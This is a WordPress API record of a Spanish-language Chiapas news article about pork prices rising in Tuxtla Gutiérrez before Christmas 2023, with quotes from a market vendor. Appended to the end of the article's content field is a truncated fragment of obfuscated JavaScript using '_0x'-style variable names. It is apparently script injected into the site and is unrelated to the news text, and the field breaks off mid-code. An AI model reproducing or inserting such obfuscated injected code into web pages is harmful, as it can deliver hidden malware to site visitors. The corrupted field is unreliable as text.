{"id":13339,"date":"2023-12-21T03:01:40","date_gmt":"2023-12-21T03:01:40","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=13339"},"modified":"2023-12-21T03:01:41","modified_gmt":"2023-12-21T03:01:41","slug":"costara-mas-hacer-la-cena-de-navidad-este-2023","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=13339","title":{"rendered":"Costar\u00e1 m\u00e1s hacer la cena de navidad este 2023"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"375\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/12\/IMG-20231220-WA0020.jpg\" alt=\"\" class=\"wp-image-13340\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/12\/IMG-20231220-WA0020.jpg 720w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/12\/IMG-20231220-WA0020-300x156.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure>\n\n\n\n<p>Rodolfo Flores.20 de diciembre del 2023. Tuxtla Guti\u00e9rrez. Como una mala noticia para la econom\u00eda de las familias chiapanecas, la carne de cerdo increment\u00f3 su precio en un promedio de 10 a 15 pesos por kilogramo, a diferencia de la carne de res que mantiene su precio.De acuerdo con los vendedores de esta carne desde hace dos meses el precio no ha dejado de subir, por diferentes factores.Esta situaci\u00f3n tambi\u00e9n afecta las ventas que, en este momento y a pesar de ser fin de a\u00f1o las ventas no han repuntado lo esperado.Mar\u00eda del Rosario Reyes Cadena, vendedora de este producto desde hace m\u00e1s de 20 a\u00f1os  en el mercado Juan Sabines de Tuxtla Guti\u00e9rrez, expone que, en los \u00faltimos dos a\u00f1os  el precio de la carne ha sido muy inestable, pues no hay semana que no tenga incremento. Record\u00f3 que, tradicionalmente las ventas de este producto se incrementan por la demanda de la carne de puerco para las tradicionales cenas de navidad y a\u00f1o nuevo.Esta carne es muy solicitada para cocinar platillos  tradicionales como el cochito, el pozole, el lomo relleno, el lomo mechado, para eso utilizan el lomo o la pierna.\u201cLos productores han mantenido un aumento constante a los precios y aunque los locatarios est\u00e1n trasladado al consumidor final, ya les ha impactado\u201d, coment\u00f3. En este sentido, la carne  \u201cposta\u201d  tiene un costo de $135 pesos por kilo en ese centro de abastos,  en tanto el hueso se encuentra en 110 pesos  costilla en, 130 cabeza $100 y las patitas en 95 pesos se ha elevado en promedio 10 a 15 pesos apenas en la presente semana. Los comerciantes de este producto tienen la esperanza de que, en las v\u00edsperas de la navidad y a\u00f1o nuevo, puedan tener un incremento en las ventas,. En el caso de la comerciante, expone que, a lo largo del a\u00f1o, las ventas han estado bajas, por estos incrementos que son constantes, y para citar un ejemplo es que el kilo de carne de puerco estaba en 90 pesos, y ahora est\u00e1n en 130 pesos. Por ello, el llamado de los comerciantes, es que las familias consuman local y puedan recuperarse al cierre del a\u00f1o.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Rodolfo Flores.20 de diciembre del 2023. Tuxtla Guti\u00e9rrez. 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